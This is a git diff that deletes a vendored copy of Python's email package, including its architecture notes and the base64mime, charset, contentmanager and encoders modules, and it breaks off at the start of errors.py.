/dev/null @@ -1,216 +0,0 @@ -:mod:`email` Package Architecture -================================= - -Overview --------- - -The email package consists of three major components: - - Model - An object structure that represents an email message, and provides an - API for creating, querying, and modifying a message. - - Parser - Takes a sequence of characters or bytes and produces a model of the - email message represented by those characters or bytes. - - Generator - Takes a model and turns it into a sequence of characters or bytes. The - sequence can either be intended for human consumption (a printable - unicode string) or bytes suitable for transmission over the wire. In - the latter case all data is properly encoded using the content transfer - encodings specified by the relevant RFCs. - -Conceptually the package is organized around the model. The model provides both -"external" APIs intended for use by application programs using the library, -and "internal" APIs intended for use by the Parser and Generator components. -This division is intentionally a bit fuzzy; the API described by this -documentation is all a public, stable API. This allows for an application -with special needs to implement its own parser and/or generator. - -In addition to the three major functional components, there is a third key -component to the architecture: - - Policy - An object that specifies various behavioral settings and carries - implementations of various behavior-controlling methods. - -The Policy framework provides a simple and convenient way to control the -behavior of the library, making it possible for the library to be used in a -very flexible fashion while leveraging the common code required to parse, -represent, and generate message-like objects. For example, in addition to the -default :rfc:`5322` email message policy, we also have a policy that manages -HTTP headers in a fashion compliant with :rfc:`2616`. Individual policy -controls, such as the maximum line length produced by the generator, can also -be controlled individually to meet specialized application requirements. - - -The Model ---------- - -The message model is implemented by the :class:`~email.message.Message` class. -The model divides a message into the two fundamental parts discussed by the -RFC: the header section and the body. The `Message` object acts as a -pseudo-dictionary of named headers. Its dictionary interface provides -convenient access to individual headers by name. However, all headers are kept -internally in an ordered list, so that the information about the order of the -headers in the original message is preserved. - -The `Message` object also has a `payload` that holds the body. A `payload` can -be one of two things: data, or a list of `Message` objects. The latter is used -to represent a multipart MIME message. Lists can be nested arbitrarily deeply -in order to represent the message, with all terminal leaves having non-list -data payloads. - - -Message Lifecycle ------------------ - -The general lifecycle of a message is: - - Creation - A `Message` object can be created by a Parser, or it can be - instantiated as an empty message by an application. - - Manipulation - The application may examine one or more headers, and/or the - payload, and it may modify one or more headers and/or - the payload. This may be done on the top level `Message` - object, or on any sub-object. - - Finalization - The Model is converted into a unicode or binary stream, - or the model is discarded. - - - -Header Policy Control During Lifecycle --------------------------------------- - -One of the major controls exerted by the Policy is the management of headers -during the `Message` lifecycle. Most applications don't need to be aware of -this. - -A header enters the model in one of two ways: via a Parser, or by being set to -a specific value by an application program after the Model already exists. -Similarly, a header exits the model in one of two ways: by being serialized by -a Generator, or by being retrieved from a Model by an application program. The -Policy object provides hooks for all four of these pathways. - -The model storage for headers is a list of (name, value) tuples. - -The Parser identifies headers during parsing, and passes them to the -:meth:`~email.policy.Policy.header_source_parse` method of the Policy. The -result of that method is the (name, value) tuple to be stored in the model. - -When an application program supplies a header value (for example, through the -`Message` object `__setitem__` interface), the name and the value are passed to -the :meth:`~email.policy.Policy.header_store_parse` method of the Policy, which -returns the (name, value) tuple to be stored in the model. - -When an application program retrieves a header (through any of the dict or list -interfaces of `Message`), the name and value are passed to the -:meth:`~email.policy.Policy.header_fetch_parse` method of the Policy to -obtain the value returned to the application. - -When a Generator requests a header during serialization, the name and value are -passed to the :meth:`~email.policy.Policy.fold` method of the Policy, which -returns a string containing line breaks in the appropriate places. The -:meth:`~email.policy.Policy.cte_type` Policy control determines whether or -not Content Transfer Encoding is performed on the data in the header. There is -also a :meth:`~email.policy.Policy.binary_fold` method for use by generators -that produce binary output, which returns the folded header as binary data, -possibly folded at different places than the corresponding string would be. - - -Handling Binary Data --------------------- - -In an ideal world all message data would conform to the RFCs, meaning that the -parser could decode the message into the idealized unicode message that the -sender originally wrote. In the real world, the email package must also be -able to deal with badly formatted messages, including messages containing -non-ASCII characters that either have no indicated character set or are not -valid characters in the indicated character set. - -Since email messages are *primarily* text data, and operations on message data -are primarily text operations (except for binary payloads of course), the model -stores all text data as unicode strings. Un-decodable binary inside text -data is handled by using the `surrogateescape` error handler of the ASCII -codec. As with the binary filenames the error handler was introduced to -handle, this allows the email package to "carry" the binary data received -during parsing along until the output stage, at which time it is regenerated -in its original form. - -This carried binary data is almost entirely an implementation detail. The one -place where it is visible in the API is in the "internal" API. A Parser must -do the `surrogateescape` encoding of binary input data, and pass that data to -the appropriate Policy method. The "internal" interface used by the Generator -to access header values preserves the `surrogateescaped` bytes. All other -interfaces convert the binary data either back into bytes or into a safe form -(losing information in some cases). - - -Backward Compatibility ----------------------- - -The :class:`~email.policy.Policy.Compat32` Policy provides backward -compatibility with version 5.1 of the email package. It does this via the -following implementation of the four+1 Policy methods described above: - -header_source_parse - Splits the first line on the colon to obtain the name, discards any spaces - after the colon, and joins the remainder of the line with all of the - remaining lines, preserving the linesep characters to obtain the value. - Trailing carriage return and/or linefeed characters are stripped from the - resulting value string. - -header_store_parse - Returns the name and value exactly as received from the application. - -header_fetch_parse - If the value contains any `surrogateescaped` binary data, return the value - as a :class:`~email.header.Header` object, using the character set - `unknown-8bit`. Otherwise just returns the value. - -fold - Uses :class:`~email.header.Header`'s folding to fold headers in the - same way the email5.1 generator did. - -binary_fold - Same as fold, but encodes to 'ascii'. - - -New Algorithm -------------- - -header_source_parse - Same as legacy behavior. - -header_store_parse - Same as legacy behavior. - -header_fetch_parse - If the value is already a header object, returns it. Otherwise, parses the - value using the new parser, and returns the resulting object as the value. - `surrogateescaped` bytes get turned into unicode unknown character code - points. - -fold - Uses the new header folding algorithm, respecting the policy settings. - surrogateescaped bytes are encoded using the ``unknown-8bit`` charset for - ``cte_type=7bit`` or ``8bit``. Returns a string. - - At some point there will also be a ``cte_type=unicode``, and for that - policy fold will serialize the idealized unicode message with RFC-like - folding, converting any surrogateescaped bytes into the unicode - unknown character glyph. - -binary_fold - Uses the new header folding algorithm, respecting the policy settings. - surrogateescaped bytes are encoded using the `unknown-8bit` charset for - ``cte_type=7bit``, and get turned back into bytes for ``cte_type=8bit``. - Returns bytes. - - At some point there will also be a ``cte_type=unicode``, and for that - policy binary_fold will serialize the message according to :rfc:``5335``. diff --git a/email/base64mime.py b/email/base64mime.py deleted file mode 100755 index 17f0818..0000000 --- a/email/base64mime.py +++ /dev/null @@ -1,119 +0,0 @@ -# Copyright (C) 2002-2007 Python Software Foundation -# Author: Ben Gertzfield -# Contact: email-sig@python.org - -"""Base64 content transfer encoding per RFCs 2045-2047. - -This module handles the content transfer encoding method defined in RFC 2045 -to encode arbitrary 8-bit data using the three 8-bit bytes in four 7-bit -characters encoding known as Base64. - -It is used in the MIME standards for email to attach images, audio, and text -using some 8-bit character sets to messages. - -This module provides an interface to encode and decode both headers and bodies -with Base64 encoding. - -RFC 2045 defines a method for including character set information in an -`encoded-word' in a header. This method is commonly used for 8-bit real names -in To:, From:, Cc:, etc. fields, as well as Subject: lines. - -This module does not do the line wrapping or end-of-line character conversion -necessary for proper internationalized headers; it only does dumb encoding and -decoding. To deal with the various line wrapping issues, use the email.header -module. -""" - -__all__ = [ - 'body_decode', - 'body_encode', - 'decode', - 'decodestring', - 'header_encode', - 'header_length', - ] - - -from base64 import b64encode -from binascii import b2a_base64, a2b_base64 - -CRLF = '\r\n' -NL = '\n' -EMPTYSTRING = '' - -# See also Charset.py -MISC_LEN = 7 - - - -# Helpers -def header_length(bytearray): - """Return the length of s when it is encoded with base64.""" - groups_of_3, leftover = divmod(len(bytearray), 3) - # 4 bytes out for each 3 bytes (or nonzero fraction thereof) in. - n = groups_of_3 * 4 - if leftover: - n += 4 - return n - - - -def header_encode(header_bytes, charset='iso-8859-1'): - """Encode a single header line with Base64 encoding in a given charset. - - charset names the character set to use to encode the header. It defaults - to iso-8859-1. Base64 encoding is defined in RFC 2045. - """ - if not header_bytes: - return "" - if isinstance(header_bytes, str): - header_bytes = header_bytes.encode(charset) - encoded = b64encode(header_bytes).decode("ascii") - return '=?%s?b?%s?=' % (charset, encoded) - - - -def body_encode(s, maxlinelen=76, eol=NL): - r"""Encode a string with base64. - - Each line will be wrapped at, at most, maxlinelen characters (defaults to - 76 characters). - - Each line of encoded text will end with eol, which defaults to "\n". Set - this to "\r\n" if you will be using the result of this function directly - in an email. - """ - if not s: - return s - - encvec = [] - max_unencoded = maxlinelen * 3 // 4 - for i in range(0, len(s), max_unencoded): - # BAW: should encode() inherit b2a_base64()'s dubious behavior in - # adding a newline to the encoded string? - enc = b2a_base64(s[i:i + max_unencoded]).decode("ascii") - if enc.endswith(NL) and eol != NL: - enc = enc[:-1] + eol - encvec.append(enc) - return EMPTYSTRING.join(encvec) - - - -def decode(string): - """Decode a raw base64 string, returning a bytes object. - - This function does not parse a full MIME header value encoded with - base64 (like =?iso-8859-1?b?bmloISBuaWgh?=) -- please use the high - level email.header class for that functionality. - """ - if not string: - return bytes() - elif isinstance(string, str): - return a2b_base64(string.encode('raw-unicode-escape')) - else: - return a2b_base64(string) - - -# For convenience and backwards compatibility w/ standard base64 module -body_decode = decode -decodestring = decode diff --git a/email/charset.py b/email/charset.py deleted file mode 100755 index ee56404..0000000 --- a/email/charset.py +++ /dev/null @@ -1,406 +0,0 @@ -# Copyright (C) 2001-2007 Python Software Foundation -# Author: Ben Gertzfield, Barry Warsaw -# Contact: email-sig@python.org - -__all__ = [ - 'Charset', - 'add_alias', - 'add_charset', - 'add_codec', - ] - -from functools import partial - -import email.base64mime -import email.quoprimime - -from email import errors -from email.encoders import encode_7or8bit - - - -# Flags for types of header encodings -QP = 1 # Quoted-Printable -BASE64 = 2 # Base64 -SHORTEST = 3 # the shorter of QP and base64, but only for headers - -# In "=?charset?q?hello_world?=", the =?, ?q?, and ?= add up to 7 -RFC2047_CHROME_LEN = 7 - -DEFAULT_CHARSET = 'us-ascii' -UNKNOWN8BIT = 'unknown-8bit' -EMPTYSTRING = '' - - - -# Defaults -CHARSETS = { - # input header enc body enc output conv - 'iso-8859-1': (QP, QP, None), - 'iso-8859-2': (QP, QP, None), - 'iso-8859-3': (QP, QP, None), - 'iso-8859-4': (QP, QP, None), - # iso-8859-5 is Cyrillic, and not especially used - # iso-8859-6 is Arabic, also not particularly used - # iso-8859-7 is Greek, QP will not make it readable - # iso-8859-8 is Hebrew, QP will not make it readable - 'iso-8859-9': (QP, QP, None), - 'iso-8859-10': (QP, QP, None), - # iso-8859-11 is Thai, QP will not make it readable - 'iso-8859-13': (QP, QP, None), - 'iso-8859-14': (QP, QP, None), - 'iso-8859-15': (QP, QP, None), - 'iso-8859-16': (QP, QP, None), - 'windows-1252':(QP, QP, None), - 'viscii': (QP, QP, None), - 'us-ascii': (None, None, None), - 'big5': (BASE64, BASE64, None), - 'gb2312': (BASE64, BASE64, None), - 'euc-jp': (BASE64, None, 'iso-2022-jp'), - 'shift_jis': (BASE64, None, 'iso-2022-jp'), - 'iso-2022-jp': (BASE64, None, None), - 'koi8-r': (BASE64, BASE64, None), - 'utf-8': (SHORTEST, BASE64, 'utf-8'), - } - -# Aliases for other commonly-used names for character sets. Map -# them to the real ones used in email. -ALIASES = { - 'latin_1': 'iso-8859-1', - 'latin-1': 'iso-8859-1', - 'latin_2': 'iso-8859-2', - 'latin-2': 'iso-8859-2', - 'latin_3': 'iso-8859-3', - 'latin-3': 'iso-8859-3', - 'latin_4': 'iso-8859-4', - 'latin-4': 'iso-8859-4', - 'latin_5': 'iso-8859-9', - 'latin-5': 'iso-8859-9', - 'latin_6': 'iso-8859-10', - 'latin-6': 'iso-8859-10', - 'latin_7': 'iso-8859-13', - 'latin-7': 'iso-8859-13', - 'latin_8': 'iso-8859-14', - 'latin-8': 'iso-8859-14', - 'latin_9': 'iso-8859-15', - 'latin-9': 'iso-8859-15', - 'latin_10':'iso-8859-16', - 'latin-10':'iso-8859-16', - 'cp949': 'ks_c_5601-1987', - 'euc_jp': 'euc-jp', - 'euc_kr': 'euc-kr', - 'ascii': 'us-ascii', - } - - -# Map charsets to their Unicode codec strings. -CODEC_MAP = { - 'gb2312': 'eucgb2312_cn', - 'big5': 'big5_tw', - # Hack: We don't want *any* conversion for stuff marked us-ascii, as all - # sorts of garbage might be sent to us in the guise of 7-bit us-ascii. - # Let that stuff pass through without conversion to/from Unicode. - 'us-ascii': None, - } - - - -# Convenience functions for extending the above mappings -def add_charset(charset, header_enc=None, body_enc=None, output_charset=None): - """Add character set properties to the global registry. - - charset is the input character set, and must be the canonical name of a - character set. - - Optional header_enc and body_enc is either Charset.QP for - quoted-printable, Charset.BASE64 for base64 encoding, Charset.SHORTEST for - the shortest of qp or base64 encoding, or None for no encoding. SHORTEST - is only valid for header_enc. It describes how message headers and - message bodies in the input charset are to be encoded. Default is no - encoding. - - Optional output_charset is the character set that the output should be - in. Conversions will proceed from input charset, to Unicode, to the - output charset when the method Charset.convert() is called. The default - is to output in the same character set as the input. - - Both input_charset and output_charset must have Unicode codec entries in - the module's charset-to-codec mapping; use add_codec(charset, codecname) - to add codecs the module does not know about. See the codecs module's - documentation for more information. - """ - if body_enc == SHORTEST: - raise ValueError('SHORTEST not allowed for body_enc') - CHARSETS[charset] = (header_enc, body_enc, output_charset) - - -def add_alias(alias, canonical): - """Add a character set alias. - - alias is the alias name, e.g. latin-1 - canonical is the character set's canonical name, e.g. iso-8859-1 - """ - ALIASES[alias] = canonical - - -def add_codec(charset, codecname): - """Add a codec that map characters in the given charset to/from Unicode. - - charset is the canonical name of a character set. codecname is the name - of a Python codec, as appropriate for the second argument to the unicode() - built-in, or to the encode() method of a Unicode string. - """ - CODEC_MAP[charset] = codecname - - - -# Convenience function for encoding strings, taking into account -# that they might be unknown-8bit (ie: have surrogate-escaped bytes) -def _encode(string, codec): - if codec == UNKNOWN8BIT: - return string.encode('ascii', 'surrogateescape') - else: - return string.encode(codec) - - - -class Charset: - """Map character sets to their email properties. - - This class provides information about the requirements imposed on email - for a specific character set. It also provides convenience routines for - converting between character sets, given the availability of the - applicable codecs. Given a character set, it will do its best to provide - information on how to use that character set in an email in an - RFC-compliant way. - - Certain character sets must be encoded with quoted-printable or base64 - when used in email headers or bodies. Certain character sets must be - converted outright, and are not allowed in email. Instances of this - module expose the following information about a character set: - - input_charset: The initial character set specified. Common aliases - are converted to their `official' email names (e.g. latin_1 - is converted to iso-8859-1). Defaults to 7-bit us-ascii. - - header_encoding: If the character set must be encoded before it can be - used in an email header, this attribute will be set to - Charset.QP (for quoted-printable), Charset.BASE64 (for - base64 encoding), or Charset.SHORTEST for the shortest of - QP or BASE64 encoding. Otherwise, it will be None. - - body_encoding: Same as header_encoding, but describes the encoding for the - mail message's body, which indeed may be different than the - header encoding. Charset.SHORTEST is not allowed for - body_encoding. - - output_charset: Some character sets must be converted before they can be - used in email headers or bodies. If the input_charset is - one of them, this attribute will contain the name of the - charset output will be converted to. Otherwise, it will - be None. - - input_codec: The name of the Python codec used to convert the - input_charset to Unicode. If no conversion codec is - necessary, this attribute will be None. - - output_codec: The name of the Python codec used to convert Unicode - to the output_charset. If no conversion codec is necessary, - this attribute will have the same value as the input_codec. - """ - def __init__(self, input_charset=DEFAULT_CHARSET): - # RFC 2046, $4.1.2 says charsets are not case sensitive. We coerce to - # unicode because its .lower() is locale insensitive. If the argument - # is already a unicode, we leave it at that, but ensure that the - # charset is ASCII, as the standard (RFC XXX) requires. - try: - if isinstance(input_charset, str): - input_charset.encode('ascii') - else: - input_charset = str(input_charset, 'ascii') - except UnicodeError: - raise errors.CharsetError(input_charset) - input_charset = input_charset.lower() - # Set the input charset after filtering through the aliases - self.input_charset = ALIASES.get(input_charset, input_charset) - # We can try to guess which encoding and conversion to use by the - # charset_map dictionary. Try that first, but let the user override - # it. - henc, benc, conv = CHARSETS.get(self.input_charset, - (SHORTEST, BASE64, None)) - if not conv: - conv = self.input_charset - # Set the attributes, allowing the arguments to override the default. - self.header_encoding = henc - self.body_encoding = benc - self.output_charset = ALIASES.get(conv, conv) - # Now set the codecs. If one isn't defined for input_charset, - # guess and try a Unicode codec with the same name as input_codec. - self.input_codec = CODEC_MAP.get(self.input_charset, - self.input_charset) - self.output_codec = CODEC_MAP.get(self.output_charset, - self.output_charset) - - def __str__(self): - return self.input_charset.lower() - - __repr__ = __str__ - - def __eq__(self, other): - return str(self) == str(other).lower() - - def get_body_encoding(self): - """Return the content-transfer-encoding used for body encoding. - - This is either the string `quoted-printable' or `base64' depending on - the encoding used, or it is a function in which case you should call - the function with a single argument, the Message object being - encoded. The function should then set the Content-Transfer-Encoding - header itself to whatever is appropriate. - - Returns "quoted-printable" if self.body_encoding is QP. - Returns "base64" if self.body_encoding is BASE64. - Returns conversion function otherwise. - """ - assert self.body_encoding != SHORTEST - if self.body_encoding == QP: - return 'quoted-printable' - elif self.body_encoding == BASE64: - return 'base64' - else: - return encode_7or8bit - - def get_output_charset(self): - """Return the output character set. - - This is self.output_charset if that is not None, otherwise it is - self.input_charset. - """ - return self.output_charset or self.input_charset - - def header_encode(self, string): - """Header-encode a string by converting it first to bytes. - - The type of encoding (base64 or quoted-printable) will be based on - this charset's `header_encoding`. - - :param string: A unicode string for the header. It must be possible - to encode this string to bytes using the character set's - output codec. - :return: The encoded string, with RFC 2047 chrome. - """ - codec = self.output_codec or 'us-ascii' - header_bytes = _encode(string, codec) - # 7bit/8bit encodings return the string unchanged (modulo conversions) - encoder_module = self._get_encoder(header_bytes) - if encoder_module is None: - return string - return encoder_module.header_encode(header_bytes, codec) - - def header_encode_lines(self, string, maxlengths): - """Header-encode a string by converting it first to bytes. - - This is similar to `header_encode()` except that the string is fit - into maximum line lengths as given by the argument. - - :param string: A unicode string for the header. It must be possible - to encode this string to bytes using the character set's - output codec. - :param maxlengths: Maximum line length iterator. Each element - returned from this iterator will provide the next maximum line - length. This parameter is used as an argument to built-in next() - and should never be exhausted. The maximum line lengths should - not count the RFC 2047 chrome. These line lengths are only a - hint; the splitter does the best it can. - :return: Lines of encoded strings, each with RFC 2047 chrome. - """ - # See which encoding we should use. - codec = self.output_codec or 'us-ascii' - header_bytes = _encode(string, codec) - encoder_module = self._get_encoder(header_bytes) - encoder = partial(encoder_module.header_encode, charset=codec) - # Calculate the number of characters that the RFC 2047 chrome will - # contribute to each line. - charset = self.get_output_charset() - extra = len(charset) + RFC2047_CHROME_LEN - # Now comes the hard part. We must encode bytes but we can't split on - # bytes because some character sets are variable length and each - # encoded word must stand on its own. So the problem is you have to - # encode to bytes to figure out this word's length, but you must split - # on characters. This causes two problems: first, we don't know how - # many octets a specific substring of unicode characters will get - # encoded to, and second, we don't know how many ASCII characters - # those octets will get encoded to. Unless we try it. Which seems - # inefficient. In the interest of being correct rather than fast (and - # in the hope that there will be few encoded headers in any such - # message), brute force it. :( - lines = [] - current_line = [] - maxlen = next(maxlengths) - extra - for character in string: - current_line.append(character) - this_line = EMPTYSTRING.join(current_line) - length = encoder_module.header_length(_encode(this_line, charset)) - if length > maxlen: - # This last character doesn't fit so pop it off. - current_line.pop() - # Does nothing fit on the first line? - if not lines and not current_line: - lines.append(None) - else: - separator = (' ' if lines else '') - joined_line = EMPTYSTRING.join(current_line) - header_bytes = _encode(joined_line, codec) - lines.append(encoder(header_bytes)) - current_line = [character] - maxlen = next(maxlengths) - extra - joined_line = EMPTYSTRING.join(current_line) - header_bytes = _encode(joined_line, codec) - lines.append(encoder(header_bytes)) - return lines - - def _get_encoder(self, header_bytes): - if self.header_encoding == BASE64: - return email.base64mime - elif self.header_encoding == QP: - return email.quoprimime - elif self.header_encoding == SHORTEST: - len64 = email.base64mime.header_length(header_bytes) - lenqp = email.quoprimime.header_length(header_bytes) - if len64 < lenqp: - return email.base64mime - else: - return email.quoprimime - else: - return None - - def body_encode(self, string): - """Body-encode a string by converting it first to bytes. - - The type of encoding (base64 or quoted-printable) will be based on - self.body_encoding. If body_encoding is None, we assume the - output charset is a 7bit encoding, so re-encoding the decoded - string using the ascii codec produces the correct string version - of the content. - """ - if not string: - return string - if self.body_encoding is BASE64: - if isinstance(string, str): - string = string.encode(self.output_charset) - return email.base64mime.body_encode(string) - elif self.body_encoding is QP: - # quopromime.body_encode takes a string, but operates on it as if - # it were a list of byte codes. For a (minimal) history on why - # this is so, see changeset 0cf700464177. To correctly encode a - # character set, then, we must turn it into pseudo bytes via the - # latin1 charset, which will encode any byte as a single code point - # between 0 and 255, which is what body_encode is expecting. - if isinstance(string, str): - string = string.encode(self.output_charset) - string = string.decode('latin1') - return email.quoprimime.body_encode(string) - else: - if isinstance(string, str): - string = string.encode(self.output_charset).decode('ascii') - return string diff --git a/email/contentmanager.py b/email/contentmanager.py deleted file mode 100755 index b904ded..0000000 --- a/email/contentmanager.py +++ /dev/null @@ -1,250 +0,0 @@ -import binascii -import email.charset -import email.message -import email.errors -from email import quoprimime - -class ContentManager: - - def __init__(self): - self.get_handlers = {} - self.set_handlers = {} - - def add_get_handler(self, key, handler): - self.get_handlers[key] = handler - - def get_content(self, msg, *args, **kw): - content_type = msg.get_content_type() - if content_type in self.get_handlers: - return self.get_handlers[content_type](msg, *args, **kw) - maintype = msg.get_content_maintype() - if maintype in self.get_handlers: - return self.get_handlers[maintype](msg, *args, **kw) - if '' in self.get_handlers: - return self.get_handlers[''](msg, *args, **kw) - raise KeyError(content_type) - - def add_set_handler(self, typekey, handler): - self.set_handlers[typekey] = handler - - def set_content(self, msg, obj, *args, **kw): - if msg.get_content_maintype() == 'multipart': - # XXX: is this error a good idea or not? We can remove it later, - # but we can't add it later, so do it for now. - raise TypeError("set_content not valid on multipart") - handler = self._find_set_handler(msg, obj) - msg.clear_content() - handler(msg, obj, *args, **kw) - - def _find_set_handler(self, msg, obj): - full_path_for_error = None - for typ in type(obj).__mro__: - if typ in self.set_handlers: - return self.set_handlers[typ] - qname = typ.__qualname__ - modname = getattr(typ, '__module__', '') - full_path = '.'.join((modname, qname)) if modname else qname - if full_path_for_error is None: - full_path_for_error = full_path - if full_path in self.set_handlers: - return self.set_handlers[full_path] - if qname in self.set_handlers: - return self.set_handlers[qname] - name = typ.__name__ - if name in self.set_handlers: - return self.set_handlers[name] - if None in self.set_handlers: - return self.set_handlers[None] - raise KeyError(full_path_for_error) - - -raw_data_manager = ContentManager() - - -def get_text_content(msg, errors='replace'): - content = msg.get_payload(decode=True) - charset = msg.get_param('charset', 'ASCII') - return content.decode(charset, errors=errors) -raw_data_manager.add_get_handler('text', get_text_content) - - -def get_non_text_content(msg): - return msg.get_payload(decode=True) -for maintype in 'audio image video application'.split(): - raw_data_manager.add_get_handler(maintype, get_non_text_content) - - -def get_message_content(msg): - return msg.get_payload(0) -for subtype in 'rfc822 external-body'.split(): - raw_data_manager.add_get_handler('message/'+subtype, get_message_content) - - -def get_and_fixup_unknown_message_content(msg): - # If we don't understand a message subtype, we are supposed to treat it as - # if it were application/octet-stream, per - # tools.ietf.org/html/rfc2046#section-5.2.4. Feedparser doesn't do that, - # so do our best to fix things up. Note that it is *not* appropriate to - # model message/partial content as Message objects, so they are handled - # here as well. (How to reassemble them is out of scope for this comment :) - return bytes(msg.get_payload(0)) -raw_data_manager.add_get_handler('message', - get_and_fixup_unknown_message_content) - - -def _prepare_set(msg, maintype, subtype, headers): - msg['Content-Type'] = '/'.join((maintype, subtype)) - if headers: - if not hasattr(headers[0], 'name'): - mp = msg.policy - headers = [mp.header_factory(*mp.header_source_parse([header])) - for header in headers] - try: - for header in headers: - if header.defects: - raise header.defects[0] - msg[header.name] = header - except email.errors.HeaderDefect as exc: - raise ValueError("Invalid header: {}".format( - header.fold(policy=msg.policy))) from exc - - -def _finalize_set(msg, disposition, filename, cid, params): - if disposition is None and filename is not None: - disposition = 'attachment' - if disposition is not None: - msg['Content-Disposition'] = disposition - if filename is not None: - msg.set_param('filename', - filename, - header='Content-Disposition', - replace=True) - if cid is not None: - msg['Content-ID'] = cid - if params is not None: - for key, value in params.items(): - msg.set_param(key, value) - - -# XXX: This is a cleaned-up version of base64mime.body_encode (including a bug -# fix in the calculation of unencoded_bytes_per_line). It would be nice to -# drop both this and quoprimime.body_encode in favor of enhanced binascii -# routines that accepted a max_line_length parameter. -def _encode_base64(data, max_line_length): - encoded_lines = [] - unencoded_bytes_per_line = max_line_length // 4 * 3 - for i in range(0, len(data), unencoded_bytes_per_line): - thisline = data[i:i+unencoded_bytes_per_line] - encoded_lines.append(binascii.b2a_base64(thisline).decode('ascii')) - return ''.join(encoded_lines) - - -def _encode_text(string, charset, cte, policy): - lines = string.encode(charset).splitlines() - linesep = policy.linesep.encode('ascii') - def embedded_body(lines): return linesep.join(lines) + linesep - def normal_body(lines): return b'\n'.join(lines) + b'\n' - if cte==None: - # Use heuristics to decide on the "best" encoding. - try: - return '7bit', normal_body(lines).decode('ascii') - except UnicodeDecodeError: - pass - if (policy.cte_type == '8bit' and - max(len(x) for x in lines) <= policy.max_line_length): - return '8bit', normal_body(lines).decode('ascii', 'surrogateescape') - sniff = embedded_body(lines[:10]) - sniff_qp = quoprimime.body_encode(sniff.decode('latin-1'), - policy.max_line_length) - sniff_base64 = binascii.b2a_base64(sniff) - # This is a little unfair to qp; it includes lineseps, base64 doesn't. - if len(sniff_qp) > len(sniff_base64): - cte = 'base64' - else: - cte = 'quoted-printable' - if len(lines) <= 10: - return cte, sniff_qp - if cte == '7bit': - data = normal_body(lines).decode('ascii') - elif cte == '8bit': - data = normal_body(lines).decode('ascii', 'surrogateescape') - elif cte == 'quoted-printable': - data = quoprimime.body_encode(normal_body(lines).decode('latin-1'), - policy.max_line_length) - elif cte == 'base64': - data = _encode_base64(embedded_body(lines), policy.max_line_length) - else: - raise ValueError("Unknown content transfer encoding {}".format(cte)) - return cte, data - - -def set_text_content(msg, string, subtype="plain", charset='utf-8', cte=None, - disposition=None, filename=None, cid=None, - params=None, headers=None): - _prepare_set(msg, 'text', subtype, headers) - cte, payload = _encode_text(string, charset, cte, msg.policy) - msg.set_payload(payload) - msg.set_param('charset', - email.charset.ALIASES.get(charset, charset), - replace=True) - msg['Content-Transfer-Encoding'] = cte - _finalize_set(msg, disposition, filename, cid, params) -raw_data_manager.add_set_handler(str, set_text_content) - - -def set_message_content(msg, message, subtype="rfc822", cte=None, - disposition=None, filename=None, cid=None, - params=None, headers=None): - if subtype == 'partial': - raise ValueError("message/partial is not supported for Message objects") - if subtype == 'rfc822': - if cte not in (None, '7bit', '8bit', 'binary'): - # http://tools.ietf.org/html/rfc2046#section-5.2.1 mandate. - raise ValueError( - "message/rfc822 parts do not support cte={}".format(cte)) - # 8bit will get coerced on serialization if policy.cte_type='7bit'. We - # may end up claiming 8bit when it isn't needed, but the only negative - # result of that should be a gateway that needs to coerce to 7bit - # having to look through the whole embedded message to discover whether - # or not it actually has to do anything. - cte = '8bit' if cte is None else cte - elif subtype == 'external-body': - if cte not in (None, '7bit'): - # http://tools.ietf.org/html/rfc2046#section-5.2.3 mandate. - raise ValueError( - "message/external-body parts do not support cte={}".format(cte)) - cte = '7bit' - elif cte is None: - # http://tools.ietf.org/html/rfc2046#section-5.2.4 says all future - # subtypes should be restricted to 7bit, so assume that. - cte = '7bit' - _prepare_set(msg, 'message', subtype, headers) - msg.set_payload([message]) - msg['Content-Transfer-Encoding'] = cte - _finalize_set(msg, disposition, filename, cid, params) -raw_data_manager.add_set_handler(email.message.Message, set_message_content) - - -def set_bytes_content(msg, data, maintype, subtype, cte='base64', - disposition=None, filename=None, cid=None, - params=None, headers=None): - _prepare_set(msg, maintype, subtype, headers) - if cte == 'base64': - data = _encode_base64(data, max_line_length=msg.policy.max_line_length) - elif cte == 'quoted-printable': - # XXX: quoprimime.body_encode won't encode newline characters in data, - # so we can't use it. This means max_line_length is ignored. Another - # bug to fix later. (Note: encoders.quopri is broken on line ends.) - data = binascii.b2a_qp(data, istext=False, header=False, quotetabs=True) - data = data.decode('ascii') - elif cte == '7bit': - # Make sure it really is only ASCII. The early warning here seems - # worth the overhead...if you care write your own content manager :). - data.encode('ascii') - elif cte in ('8bit', 'binary'): - data = data.decode('ascii', 'surrogateescape') - msg.set_payload(data) - msg['Content-Transfer-Encoding'] = cte - _finalize_set(msg, disposition, filename, cid, params) -for typ in (bytes, bytearray, memoryview): - raw_data_manager.add_set_handler(typ, set_bytes_content) diff --git a/email/encoders.py b/email/encoders.py deleted file mode 100755 index 0a66acb..0000000 --- a/email/encoders.py +++ /dev/null @@ -1,69 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Encodings and related functions.""" - -__all__ = [ - 'encode_7or8bit', - 'encode_base64', - 'encode_noop', - 'encode_quopri', - ] - - -from base64 import encodebytes as _bencode -from quopri import encodestring as _encodestring - - - -def _qencode(s): - enc = _encodestring(s, quotetabs=True) - # Must encode spaces, which quopri.encodestring() doesn't do - return enc.replace(b' ', b'=20') - - -def encode_base64(msg): - """Encode the message's payload in Base64. - - Also, add an appropriate Content-Transfer-Encoding header. - """ - orig = msg.get_payload(decode=True) - encdata = str(_bencode(orig), 'ascii') - msg.set_payload(encdata) - msg['Content-Transfer-Encoding'] = 'base64' - - - -def encode_quopri(msg): - """Encode the message's payload in quoted-printable. - - Also, add an appropriate Content-Transfer-Encoding header. - """ - orig = msg.get_payload(decode=True) - encdata = _qencode(orig) - msg.set_payload(encdata) - msg['Content-Transfer-Encoding'] = 'quoted-printable' - - - -def encode_7or8bit(msg): - """Set the Content-Transfer-Encoding header to 7bit or 8bit.""" - orig = msg.get_payload(decode=True) - if orig is None: - # There's no payload. For backwards compatibility we use 7bit - msg['Content-Transfer-Encoding'] = '7bit' - return - # We play a trick to make this go fast. If decoding from ASCII succeeds, - # we know the data must be 7bit, otherwise treat it as 8bit. - try: - orig.decode('ascii') - except UnicodeError: - msg['Content-Transfer-Encoding'] = '8bit' - else: - msg['Content-Transfer-Encoding'] = '7bit' - - - -def encode_noop(msg): - """Do nothing.""" diff --git a/email/errors.py b/email/errors.py deleted file mode 100755 index 791239f..0000000 --- a/email/errors.py +++ /dev/null @@ -1,107 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Barry Warsaw -# 